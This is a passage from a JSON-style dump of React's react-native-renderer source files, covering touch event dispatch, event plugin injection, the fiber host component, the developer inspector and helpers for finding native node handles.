    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  AnyNativeEvent,\n  LegacyPluginModule,\n} from './legacy-events/PluginModuleType';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {ReactSyntheticEvent} from './legacy-events/ReactSyntheticEventType';\nimport type {TopLevelType} from './legacy-events/TopLevelEventTypes';\n\nimport {\n  registrationNameModules,\n  plugins,\n} from './legacy-events/EventPluginRegistry';\nimport {batchedUpdates} from './legacy-events/ReactGenericBatching';\nimport {runEventsInBatch} from './legacy-events/EventBatching';\nimport getListener from './ReactNativeGetListener';\nimport accumulateInto from './legacy-events/accumulateInto';\n\nimport {getInstanceFromNode} from './ReactNativeComponentTree';\n\nexport {getListener, registrationNameModules as registrationNames};\n\n/**\n * Version of `ReactBrowserEventEmitter` that works on the receiving side of a\n * serialized worker boundary.\n */\n\n// Shared default empty native event - conserve memory.\nconst EMPTY_NATIVE_EVENT = (({}: any): AnyNativeEvent);\n\n/**\n * Selects a subsequence of `Touch`es, without destroying `touches`.\n *\n * @param {Array<Touch>} touches Deserialized touch objects.\n * @param {Array<number>} indices Indices by which to pull subsequence.\n * @return {Array<Touch>} Subsequence of touch objects.\n */\n// $FlowFixMe[missing-local-annot]\nfunction touchSubsequence(touches, indices) {\n  const ret = [];\n  for (let i = 0; i < indices.length; i++) {\n    ret.push(touches[indices[i]]);\n  }\n  return ret;\n}\n\n/**\n * TODO: Pool all of this.\n *\n * Destroys `touches` by removing touch objects at indices `indices`. This is\n * to maintain compatibility with W3C touch \"end\" events, where the active\n * touches don't include the set that has just been \"ended\".\n *\n * @param {Array<Touch>} touches Deserialized touch objects.\n * @param {Array<number>} indices Indices to remove from `touches`.\n * @return {Array<Touch>} Subsequence of removed touch objects.\n */\nfunction removeTouchesAtIndices(\n  touches: Array<Object>,\n  indices: Array<number>,\n): Array<Object> {\n  const rippedOut = [];\n  // use an unsafe downcast to alias to nullable elements,\n  // so we can delete and then compact.\n  const temp: Array<?Object> = (touches: Array<any>);\n  for (let i = 0; i < indices.length; i++) {\n    const index = indices[i];\n    rippedOut.push(touches[index]);\n    temp[index] = null;\n  }\n  let fillAt = 0;\n  for (let j = 0; j < temp.length; j++) {\n    const cur = temp[j];\n    if (cur !== null) {\n      temp[fillAt++] = cur;\n    }\n  }\n  temp.length = fillAt;\n  return rippedOut;\n}\n\n/**\n * Internal version of `receiveEvent` in terms of normalized (non-tag)\n * `rootNodeID`.\n *\n * @see receiveEvent.\n *\n * @param {rootNodeID} rootNodeID React root node ID that event occurred on.\n * @param {TopLevelType} topLevelType Top level type of event.\n * @param {?object} nativeEventParam Object passed from native.\n */\nfunction _receiveRootNodeIDEvent(\n  rootNodeID: number,\n  topLevelType: TopLevelType,\n  nativeEventParam: ?AnyNativeEvent,\n) {\n  const nativeEvent = nativeEventParam || EMPTY_NATIVE_EVENT;\n  const inst = getInstanceFromNode(rootNodeID);\n\n  let target = null;\n  if (inst != null) {\n    target = inst.stateNode;\n  }\n\n  batchedUpdates(function () {\n    runExtractedPluginEventsInBatch(topLevelType, inst, nativeEvent, target);\n  });\n  // React Native doesn't use ReactControlledComponent but if it did, here's\n  // where it would do it.\n}\n\n/**\n * Allows registered plugins an opportunity to extract events from top-level\n * native browser events.\n *\n * @return {*} An accumulation of synthetic events.\n * @internal\n */\nfunction extractPluginEvents(\n  topLevelType: TopLevelType,\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n): Array<ReactSyntheticEvent> | ReactSyntheticEvent | null {\n  let events: Array<ReactSyntheticEvent> | ReactSyntheticEvent | null = null;\n  const legacyPlugins = ((plugins: any): Array<LegacyPluginModule<Event>>);\n  for (let i = 0; i < legacyPlugins.length; i++) {\n    // Not every plugin in the ordering may be loaded at runtime.\n    const possiblePlugin: LegacyPluginModule<AnyNativeEvent> = legacyPlugins[i];\n    if (possiblePlugin) {\n      const extractedEvents = possiblePlugin.extractEvents(\n        topLevelType,\n        targetInst,\n        nativeEvent,\n        nativeEventTarget,\n      );\n      if (extractedEvents) {\n        events = accumulateInto(events, extractedEvents);\n      }\n    }\n  }\n  return events;\n}\n\nfunction runExtractedPluginEventsInBatch(\n  topLevelType: TopLevelType,\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n) {\n  const events = extractPluginEvents(\n    topLevelType,\n    targetInst,\n    nativeEvent,\n    nativeEventTarget,\n  );\n  runEventsInBatch(events);\n}\n\n/**\n * Publicly exposed method on module for native objc to invoke when a top\n * level event is extracted.\n * @param {rootNodeID} rootNodeID React root node ID that event occurred on.\n * @param {TopLevelType} topLevelType Top level type of event.\n * @param {object} nativeEventParam Object passed from native.\n */\nexport function receiveEvent(\n  rootNodeID: number,\n  topLevelType: TopLevelType,\n  nativeEventParam: AnyNativeEvent,\n) {\n  _receiveRootNodeIDEvent(rootNodeID, topLevelType, nativeEventParam);\n}\n\n/**\n * Simple multi-wrapper around `receiveEvent` that is intended to receive an\n * efficient representation of `Touch` objects, and other information that\n * can be used to construct W3C compliant `Event` and `Touch` lists.\n *\n * This may create dispatch behavior that differs than web touch handling. We\n * loop through each of the changed touches and receive it as a single event.\n * So two `touchStart`/`touchMove`s that occur simultaneously are received as\n * two separate touch event dispatches - when they arguably should be one.\n *\n * This implementation reuses the `Touch` objects themselves as the `Event`s\n * since we dispatch an event for each touch (though that might not be spec\n * compliant). The main purpose of reusing them is to save allocations.\n *\n * TODO: Dispatch multiple changed touches in one event. The bubble path\n * could be the first common ancestor of all the `changedTouches`.\n *\n * One difference between this behavior and W3C spec: cancelled touches will\n * not appear in `.touches`, or in any future `.touches`, though they may\n * still be \"actively touching the surface\".\n *\n * Web desktop polyfills only need to construct a fake touch event with\n * identifier 0, also abandoning traditional click handlers.\n */\nexport function receiveTouches(\n  eventTopLevelType: TopLevelType,\n  touches: Array<Object>,\n  changedIndices: Array<number>,\n) {\n  const changedTouches =\n    eventTopLevelType === 'topTouchEnd' ||\n    eventTopLevelType === 'topTouchCancel'\n      ? removeTouchesAtIndices(touches, changedIndices)\n      : touchSubsequence(touches, changedIndices);\n\n  for (let jj = 0; jj < changedTouches.length; jj++) {\n    const touch = changedTouches[jj];\n    // Touch objects can fulfill the role of `DOM` `Event` objects if we set\n    // the `changedTouches`/`touches`. This saves allocations.\n    touch.changedTouches = changedTouches;\n    touch.touches = touches;\n    const nativeEvent = touch;\n    let rootNodeID = null;\n    const target = nativeEvent.target;\n    if (target !== null && target !== undefined) {\n      if (target < 1) {\n        if (__DEV__) {\n          console.error(\n            'A view is reporting that a touch occurred on tag zero.',\n          );\n        }\n      } else {\n        rootNodeID = target;\n      }\n    }\n    // $FlowFixMe[incompatible-call] Shouldn't we *not* call it if rootNodeID is null?\n    _receiveRootNodeIDEvent(rootNodeID, eventTopLevelType, nativeEvent);\n  }\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativeEventPluginOrder.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst ReactNativeEventPluginOrder = [\n  'ResponderEventPlugin',\n  'ReactNativeBridgeEventPlugin',\n];\n\nexport default ReactNativeEventPluginOrder;\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativeFiberHostComponent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ViewConfig} from './ReactNativeTypes';\nimport type {\n  LegacyPublicInstance,\n  MeasureOnSuccessCallback,\n  MeasureInWindowOnSuccessCallback,\n  MeasureLayoutOnSuccessCallback,\n} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\nimport type {Instance} from './ReactFiberConfigNative';\n\n// Modules provided by RN:\nimport {\n  TextInputState,\n  UIManager,\n} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\n\nimport {create} from './ReactNativeAttributePayload';\nimport {\n  mountSafeCallback_NOT_REALLY_SAFE,\n  warnForStyleProps,\n} from './NativeMethodsMixinUtils';\n\nclass ReactNativeFiberHostComponent implements LegacyPublicInstance {\n  _children: Array<Instance | number>;\n  _nativeTag: number;\n  _internalFiberInstanceHandleDEV: Object;\n  viewConfig: ViewConfig;\n\n  constructor(\n    tag: number,\n    viewConfig: ViewConfig,\n    internalInstanceHandleDEV: Object,\n  ) {\n    this._nativeTag = tag;\n    this._children = [];\n    this.viewConfig = viewConfig;\n    if (__DEV__) {\n      this._internalFiberInstanceHandleDEV = internalInstanceHandleDEV;\n    }\n  }\n\n  blur() {\n    TextInputState.blurTextInput(this);\n  }\n\n  focus() {\n    TextInputState.focusTextInput(this);\n  }\n\n  measure(callback: MeasureOnSuccessCallback) {\n    UIManager.measure(\n      this._nativeTag,\n      mountSafeCallback_NOT_REALLY_SAFE(this, callback),\n    );\n  }\n\n  measureInWindow(callback: MeasureInWindowOnSuccessCallback) {\n    UIManager.measureInWindow(\n      this._nativeTag,\n      mountSafeCallback_NOT_REALLY_SAFE(this, callback),\n    );\n  }\n\n  measureLayout(\n    relativeToNativeNode: number | LegacyPublicInstance,\n    onSuccess: MeasureLayoutOnSuccessCallback,\n    onFail?: () => void /* currently unused */,\n  ) {\n    let relativeNode: ?number;\n\n    if (typeof relativeToNativeNode === 'number') {\n      // Already a node handle\n      relativeNode = relativeToNativeNode;\n    } else {\n      const nativeNode: ReactNativeFiberHostComponent =\n        (relativeToNativeNode: any);\n      if (nativeNode._nativeTag) {\n        relativeNode = nativeNode._nativeTag;\n      }\n    }\n\n    if (relativeNode == null) {\n      if (__DEV__) {\n        console.error(\n          'ref.measureLayout must be called with a node handle or a ref to a native component.',\n        );\n      }\n\n      return;\n    }\n\n    UIManager.measureLayout(\n      this._nativeTag,\n      relativeNode,\n      mountSafeCallback_NOT_REALLY_SAFE(this, onFail),\n      mountSafeCallback_NOT_REALLY_SAFE(this, onSuccess),\n    );\n  }\n\n  setNativeProps(nativeProps: Object) {\n    if (__DEV__) {\n      warnForStyleProps(nativeProps, this.viewConfig.validAttributes);\n    }\n\n    const updatePayload = create(nativeProps, this.viewConfig.validAttributes);\n\n    // Avoid the overhead of bridge calls if there's no update.\n    // This is an expensive no-op for Android, and causes an unnecessary\n    // view invalidation for certain components (eg RCTTextInput) on iOS.\n    if (updatePayload != null) {\n      UIManager.updateView(\n        this._nativeTag,\n        this.viewConfig.uiViewClassName,\n        updatePayload,\n      );\n    }\n  }\n}\n\nexport default ReactNativeFiberHostComponent;\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativeFiberInspector.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {TouchedViewDataAtPoint, InspectorData} from './ReactNativeTypes';\n\nimport {\n  findCurrentHostFiber,\n  findCurrentFiberUsingSlowPath,\n} from 'react-reconciler/src/ReactFiberTreeReflection';\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\nimport {HostComponent} from 'react-reconciler/src/ReactWorkTags';\n// Module provided by RN:\nimport {\n  UIManager,\n  getNodeFromPublicInstance,\n} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\nimport {getClosestInstanceFromNode} from './ReactNativeComponentTree';\nimport {\n  getNodeFromInternalInstanceHandle,\n  findNodeHandle,\n} from './ReactNativePublicCompat';\nimport {getStackByFiberInDevAndProd} from 'react-reconciler/src/ReactFiberComponentStack';\n\nlet getInspectorDataForInstance: (\n  closestInstance: Fiber | null,\n) => InspectorData;\n\nif (__DEV__) {\n  const emptyObject = Object.freeze({});\n\n  // $FlowFixMe[missing-local-annot]\n  const createHierarchy = function (fiberHierarchy) {\n    return fiberHierarchy.map(fiber => ({\n      name: getComponentNameFromType(fiber.type),\n      getInspectorData: () => {\n        return {\n          props: getHostProps(fiber),\n          measure: callback => {\n            // If this is Fabric, we'll find a shadow node and use that to measure.\n            const hostFiber = findCurrentHostFiber(fiber);\n            const node =\n              hostFiber != null &&\n              hostFiber.stateNode !== null &&\n              hostFiber.stateNode.node;\n\n            if (node) {\n              nativeFabricUIManager.measure(node, callback);\n            } else {\n              return UIManager.measure(getHostNode(fiber), callback);\n            }\n          },\n        };\n      },\n    }));\n  };\n\n  const getHostNode = function (fiber: Fiber | null) {\n    let hostNode;\n    // look for children first for the hostNode\n    // as composite fibers do not have a hostNode\n    while (fiber) {\n      if (fiber.stateNode !== null && fiber.tag === HostComponent) {\n        hostNode = findNodeHandle(fiber.stateNode);\n      }\n      if (hostNode) {\n        return hostNode;\n      }\n      fiber = fiber.child;\n    }\n    return null;\n  };\n\n  const getHostProps = function (fiber: Fiber) {\n    const host = findCurrentHostFiber(fiber);\n    if (host) {\n      return host.memoizedProps || emptyObject;\n    }\n    return emptyObject;\n  };\n\n  getInspectorDataForInstance = function (\n    closestInstance: Fiber | null,\n  ): InspectorData {\n    // Handle case where user clicks outside of ReactNative\n    if (!closestInstance) {\n      return {\n        hierarchy: [],\n        props: emptyObject,\n        selectedIndex: null,\n        componentStack: '',\n      };\n    }\n\n    const fiber = findCurrentFiberUsingSlowPath(closestInstance);\n    if (fiber === null) {\n      // Might not be currently mounted.\n      return {\n        hierarchy: [],\n        props: emptyObject,\n        selectedIndex: null,\n        componentStack: '',\n      };\n    }\n    const fiberHierarchy = getOwnerHierarchy(fiber);\n    const instance = lastNonHostInstance(fiberHierarchy);\n    const hierarchy = createHierarchy(fiberHierarchy);\n    const props = getHostProps(instance);\n    const selectedIndex = fiberHierarchy.indexOf(instance);\n    const componentStack = getStackByFiberInDevAndProd(fiber);\n\n    return {\n      closestInstance: instance,\n      hierarchy,\n      props,\n      selectedIndex,\n      componentStack,\n    };\n  };\n\n  const getOwnerHierarchy = function (instance: Fiber) {\n    const hierarchy: Array<$FlowFixMe> = [];\n    traverseOwnerTreeUp(hierarchy, instance);\n    return hierarchy;\n  };\n\n  // $FlowFixMe[missing-local-annot]\n  const lastNonHostInstance = function (hierarchy) {\n    for (let i = hierarchy.length - 1; i > 1; i--) {\n      const instance = hierarchy[i];\n\n      if (instance.tag !== HostComponent) {\n        return instance;\n      }\n    }\n    return hierarchy[0];\n  };\n\n  const traverseOwnerTreeUp = function (\n    hierarchy: Array<$FlowFixMe>,\n    instance: Fiber,\n  ): void {\n    hierarchy.unshift(instance);\n    const owner = instance._debugOwner;\n    if (owner != null && typeof owner.tag === 'number') {\n      traverseOwnerTreeUp(hierarchy, (owner: any));\n    } else {\n      // TODO: Traverse Server Components owners.\n    }\n  };\n}\n\nfunction getInspectorDataForViewTag(viewTag: number): InspectorData {\n  if (__DEV__) {\n    const closestInstance = getClosestInstanceFromNode(viewTag);\n    return getInspectorDataForInstance(closestInstance);\n  } else {\n    throw new Error(\n      'getInspectorDataForViewTag() is not available in production',\n    );\n  }\n}\n\nfunction getInspectorDataForViewAtPoint(\n  inspectedView: Object,\n  locationX: number,\n  locationY: number,\n  callback: (viewData: TouchedViewDataAtPoint) => mixed,\n): void {\n  if (__DEV__) {\n    let closestInstance = null;\n\n    const fabricNode = getNodeFromPublicInstance(inspectedView);\n    if (fabricNode) {\n      // For Fabric we can look up the instance handle directly and measure it.\n      nativeFabricUIManager.findNodeAtPoint(\n        fabricNode,\n        locationX,\n        locationY,\n        internalInstanceHandle => {\n          const node =\n            internalInstanceHandle != null\n              ? getNodeFromInternalInstanceHandle(internalInstanceHandle)\n              : null;\n          if (internalInstanceHandle == null || node == null) {\n            callback({\n              pointerY: locationY,\n              frame: {left: 0, top: 0, width: 0, height: 0},\n              ...getInspectorDataForInstance(closestInstance),\n            });\n            return;\n          }\n\n          closestInstance =\n            internalInstanceHandle.stateNode.canonical.internalInstanceHandle;\n          const closestPublicInstance =\n            internalInstanceHandle.stateNode.canonical.publicInstance;\n\n          // Note: this is deprecated and we want to remove it ASAP. Keeping it here for React DevTools compatibility for now.\n          const nativeViewTag =\n            internalInstanceHandle.stateNode.canonical.nativeTag;\n\n          nativeFabricUIManager.measure(\n            node,\n            (x, y, width, height, pageX, pageY) => {\n              const inspectorData =\n                getInspectorDataForInstance(closestInstance);\n              callback({\n                ...inspectorData,\n                pointerY: locationY,\n                frame: {left: pageX, top: pageY, width, height},\n                touchedViewTag: nativeViewTag,\n                closestPublicInstance,\n              });\n            },\n          );\n        },\n      );\n    } else if (inspectedView._internalFiberInstanceHandleDEV != null) {\n      // For Paper we fall back to the old strategy using the React tag.\n      UIManager.findSubviewIn(\n        findNodeHandle(inspectedView),\n        [locationX, locationY],\n        (nativeViewTag, left, top, width, height) => {\n          const inspectorData = getInspectorDataForInstance(\n            getClosestInstanceFromNode(nativeViewTag),\n          );\n          callback({\n            ...inspectorData,\n            pointerY: locationY,\n            frame: {left, top, width, height},\n            touchedViewTag: nativeViewTag,\n            // $FlowExpectedError[incompatible-call]\n            closestPublicInstance: nativeViewTag,\n          });\n        },\n      );\n    } else {\n      console.error(\n        'getInspectorDataForViewAtPoint expects to receive a host component',\n      );\n\n      return;\n    }\n  } else {\n    throw new Error(\n      'getInspectorDataForViewAtPoint() is not available in production.',\n    );\n  }\n}\n\nexport {\n  getInspectorDataForInstance,\n  getInspectorDataForViewAtPoint,\n  getInspectorDataForViewTag,\n};\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativeGetListener.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\n\nimport {getFiberCurrentPropsFromNode} from './legacy-events/EventPluginUtils';\n\nexport default function getListener(\n  inst: Fiber,\n  registrationName: string,\n): Function | null {\n  const stateNode = inst.stateNode;\n  if (stateNode === null) {\n    // Work in progress (ex: onload events in incremental mode).\n    return null;\n  }\n  const props = getFiberCurrentPropsFromNode(stateNode);\n  if (props === null) {\n    // Work in progress.\n    return null;\n  }\n  const listener = props[registrationName];\n\n  if (listener && typeof listener !== 'function') {\n    throw new Error(\n      `Expected \\`${registrationName}\\` listener to be a function, instead got a value of \\`${typeof listener}\\` type.`,\n    );\n  }\n\n  return listener;\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativeGlobalResponderHandler.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Module provided by RN:\nimport {UIManager} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\n\nconst ReactNativeGlobalResponderHandler = {\n  onChange: function (from: any, to: any, blockNativeResponder: boolean) {\n    if (to !== null) {\n      const tag = to.stateNode._nativeTag;\n      UIManager.setJSResponder(tag, blockNativeResponder);\n    } else {\n      UIManager.clearJSResponder();\n    }\n  },\n};\n\nexport default ReactNativeGlobalResponderHandler;\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativeInjection.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport './ReactNativeInjectionShared';\n\nimport {\n  getFiberCurrentPropsFromNode,\n  getInstanceFromNode,\n  getNodeFromInstance,\n} from './ReactNativeComponentTree';\nimport {setComponentTree} from './legacy-events/EventPluginUtils';\nimport {receiveEvent, receiveTouches} from './ReactNativeEventEmitter';\nimport ReactNativeGlobalResponderHandler from './ReactNativeGlobalResponderHandler';\nimport ResponderEventPlugin from './legacy-events/ResponderEventPlugin';\n\n// Module provided by RN:\nimport {RCTEventEmitter} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\n\n/**\n * Register the event emitter with the native bridge\n */\nRCTEventEmitter.register({\n  receiveEvent,\n  receiveTouches,\n});\n\nsetComponentTree(\n  getFiberCurrentPropsFromNode,\n  getInstanceFromNode,\n  getNodeFromInstance,\n);\n\nResponderEventPlugin.injection.injectGlobalResponderHandler(\n  ReactNativeGlobalResponderHandler,\n);\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativeInjectionShared.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * Make sure essential globals are available and are patched correctly. Please don't remove this\n * line. Bundles created by react-packager `require` it before executing any application code. This\n * ensures it exists in the dependency graph and can be `require`d.\n * TODO: require this in packager, not in React #10932517\n */\n// Module provided by RN:\nimport 'react-native/Libraries/ReactPrivate/ReactNativePrivateInitializeCore';\n\nimport ResponderEventPlugin from './legacy-events/ResponderEventPlugin';\nimport {\n  injectEventPluginOrder,\n  injectEventPluginsByName,\n} from './legacy-events/EventPluginRegistry';\n\nimport ReactNativeBridgeEventPlugin from './ReactNativeBridgeEventPlugin';\nimport ReactNativeEventPluginOrder from './ReactNativeEventPluginOrder';\n\n/**\n * Inject module for resolving DOM hierarchy and plugin ordering.\n */\ninjectEventPluginOrder(ReactNativeEventPluginOrder);\n\n/**\n * Some important event plugins included by default (without having to require\n * them).\n */\ninjectEventPluginsByName({\n  ResponderEventPlugin: ResponderEventPlugin,\n  ReactNativeBridgeEventPlugin: ReactNativeBridgeEventPlugin,\n});\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativePublicCompat.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Node} from './ReactNativeTypes';\nimport type {ElementRef, ElementType} from 'react';\nimport type {PublicInstance} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\n\n// Modules provided by RN:\nimport {\n  UIManager,\n  legacySendAccessibilityEvent,\n  getNodeFromPublicInstance,\n  getNativeTagFromPublicInstance,\n  getInternalInstanceHandleFromPublicInstance,\n} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\n\nimport {\n  findHostInstance,\n  findHostInstanceWithWarning,\n} from 'react-reconciler/src/ReactFiberReconciler';\nimport {doesFiberContain} from 'react-reconciler/src/ReactFiberTreeReflection';\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\nimport {\n  current as currentOwner,\n  isRendering,\n} from 'react-reconciler/src/ReactCurrentFiber';\n\nexport function findHostInstance_DEPRECATED<TElementType: ElementType>(\n  componentOrHandle: ?(ElementRef<TElementType> | number),\n): ?PublicInstance {\n  if (__DEV__) {\n    const owner = currentOwner;\n    if (owner !== null && isRendering && owner.stateNode !== null) {\n      if (!owner.stateNode._warnedAboutRefsInRender) {\n        console.error(\n          '%s is accessing findNodeHandle inside its render(). ' +\n            'render() should be a pure function of props and state. It should ' +\n            'never access something that requires stale data from the previous ' +\n            'render, such as refs. Move this logic to componentDidMount and ' +\n            'componentDidUpdate instead.',\n          getComponentNameFromType(owner.type) || 'A component',\n        );\n      }\n\n      owner.stateNode._warnedAboutRefsInRender = true;\n    }\n  }\n\n  if (componentOrHandle == null) {\n    return null;\n  }\n\n  // For compatibility with Fabric instances\n  if (\n    componentOrHandle.canonical &&\n    componentOrHandle.canonical.publicInstance\n  ) {\n    // $FlowExpectedError[incompatible-return] Can't refine componentOrHandle as a Fabric instance\n    return componentOrHandle.canonical.publicInstance;\n  }\n\n  // For compatibility with legacy renderer instances\n  if (componentOrHandle._nativeTag) {\n    // $FlowFixMe[incompatible-exact] Necessary when running Flow on Fabric\n    // $FlowFixMe[incompatible-return]\n    return componentOrHandle;\n  }\n\n  let hostInstance;\n  if (__DEV__) {\n    hostInstance = findHostInstanceWithWarning(\n      componentOrHandle,\n      'findHostInstance_DEPRECATED',\n    );\n  } else {\n    hostInstance = findHostInstance(componentOrHandle);\n  }\n\n  // findHostInstance handles legacy vs. Fabric differences correctly\n  // $FlowFixMe[incompatible-exact] we need to fix the definition of `HostComponent` to use NativeMethods as an interface, not as a type.\n  // $FlowFixMe[incompatible-return]\n  return hostInstance;\n}\n\nexport function findNodeHandle(componentOrHandle: any): ?number {\n  if (__DEV__) {\n    const owner = currentOwner;\n    if (owner !== null && isRendering && owner.stateNode !== null) {\n      if (!owner.stateNode._warnedAboutRefsInRender) {\n        console.error(\n          '%s is accessing findNodeHandle inside its render(). ' +\n            'render() should be a pure function of props and state. It should ' +\n            'never access something that requires stale data from the previous ' +\n            'render, such as refs. Move this logic to componentDidMount and ' +\n            'componentDidUpdate instead.',\n          getComponentNameFromType(owner.type) || 'A component',\n        );\n      }\n\n      owner.stateNode._warnedAboutRefsInRender = true;\n    }\n  }\n\n  if (componentOrHandle == null) {\n    return null;\n  }\n\n  if (typeof componentOrHandle === 'number') {\n    // Already a node handle\n    return componentOrHandle;\n  }\n\n  // For compatibility with legacy renderer instances\n  if (componentOrHandle._nativeTag) {\n    return componentOrHandle._nativeTag;\n  }\n\n  // For compatibility with Fabric instances\n  if (\n    componentOrHandle.canonical != null &&\n    componentOrHandle.canonical.nativeTag != null\n  ) {\n    return componentOrHandle.canonical.nativeTag;\n  }\n\n  // For compatibility with Fabric public instances\n  const nativeTag = getNativeTagFromPublicInstance(componentOrHandle);\n  if (nativeTag) {\n    return nativeTag;\n  }\n\n  let hostInstance;\n  if (__DEV__) {\n    hostInstance = findHostInstanceWithWarning(\n      componentOrHandle,\n      'findNodeHandle',\n    );\n  } else {\n    hostInstance = findHostInstance(componentOrHandle);\n  }\n\n  if (hostInstance == null) {\n    // $FlowFixMe[incompatible-return] Flow limitation in refining an opaque type\n    return hostInstance;\n  }\n\n  if (hostInstance._nativeTag != null) {\n    // $FlowFixMe[incompatible-return] For compatibility with legacy renderer instances\n    return hostInstance._nativeTag;\n  }\n\n  // $FlowFixMe[incompatible-call] Necessary when running Flow on the legacy renderer\n  return getNativeTagFromPublicInstance(hostInstance);\n}\n\nexport function dispatchCommand(\n  handle: any,\n  command: string,\n  args: Array<any>,\n) {\n  const nativeTag =\n    handle._nativeTag != null\n      ? handle._nativeTag\n      : getNativeTagFromPublicInstance(handle);\n  if (nativeTag == null) {\n    if (__DEV__) {\n      console.error(\n        \"dispatchCommand was called with a ref that isn't a \" +\n          'native component. Use React.forwardRef to get access to the underlying native component',\n      );\n    }\n    return;\n  }\n\n  const node = getNodeFromPublicInstance(handle);\n\n  if (node != null) {\n    nativeFabricUIManager.dispatchCommand(node, command, args);\n  } else {\n    UIManager.dispatchViewManagerCommand(nativeTag, command, args);\n  }\n}\n\nexport function sendAccessibilityEvent(handle: any, eventType: string) {\n  const nativeTag =\n    handle._nativeTag != null\n      ? handle._nativeTag\n      : getNativeTagFromPublicInstance(handle);\n  if (nativeTag == null) {\n    if (__DEV__) {\n      console.error(\n        \"sendAccessibilityEvent was called with a ref that isn't a \" +\n          'native component. Use React.forwardRef to get access to the underlying native component',\n      );\n    }\n    return;\n  }\n\n  const node = getNodeFromPublicInstance(handle);\n  if (node != null) {\n    nativeFabricUIManager.sendAccessibilityEvent(node, eventType);\n  } else {\n    legacySendAccessibilityEvent(nativeTag, eventType);\n  }\n}\n\nexport function getNodeFromInternalInstanceHandle(\n  internalInstanceHandle: mixed,\n): ?Node {\n  return (\n    // $FlowExpectedError[incompatible-return] internalInstanceHandle is opaque but we need to make an exception here.\n    internalInstanceHandle &&\n    // $FlowExpectedError[incompatible-return]\n    internalInstanceHandle.stateNode &&\n    // $FlowExpectedError[incompatible-use]\n    internalInstanceHandle.stateNode.node\n  );\n}\n\n// Remove this once Paper is no longer supported and DOM Node API are enabled by default in RN.\nexport function isChildPublicInstance(\n  parentInstance: PublicInstance,\n  childInstance: PublicInstance,\n): boolean {\n  if (__DEV__) {\n    // Paper\n    if (\n      // $FlowExpectedError[incompatible-type]\n      // $FlowExpectedError[prop-missing] Don't check via `instanceof ReactNativeFiberHostComponent`, so it won't be leaked to Fabric.\n      parentInstance._internalFiberInstanceHandleDEV &&\n      // $FlowExpectedError[incompatible-type]\n      // $FlowExpectedError[prop-missing] Don't check via `instanceof ReactNativeFiberHostComponent`, so it won't be leaked to Fabric.\n      childInstance._internalFiberInstanceHandleDEV\n    ) {\n      return doesFiberContain(\n        // $FlowExpectedError[incompatible-call]\n        parentInstance._internalFiberInstanceHandleDEV,\n        // $FlowExpectedError[incompatible-call]\n        childInstance._internalFiberInstanceHandleDEV,\n      );\n    }\n\n    const parentInternalInstanceHandle =\n      // $FlowExpectedError[incompatible-call] Type for parentInstance should have been PublicInstance from ReactFiberConfigFabric.\n      getInternalInstanceHandleFromPublicInstance(parentInstance);\n    const childInternalInstanceHandle =\n      // $FlowExpectedError[incompatible-call] Type for childInstance should have been PublicInstance from ReactFiberConfigFabric.\n      getInternalInstanceHandleFromPublicInstance(childInstance);\n\n    // Fabric\n    if (\n      parentInternalInstanceHandle != null &&\n      childInternalInstanceHandle != null\n    ) {\n      return doesFiberContain(\n        parentInternalInstanceHandle,\n        childInternalInstanceHandle,\n      );\n    }\n\n    // Means that one instance is from Fabric and other is from Paper.\n    return false;\n  } else {\n    throw new Error('isChildPublicInstance() is not available in production.');\n  }\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativeRenderer.js",
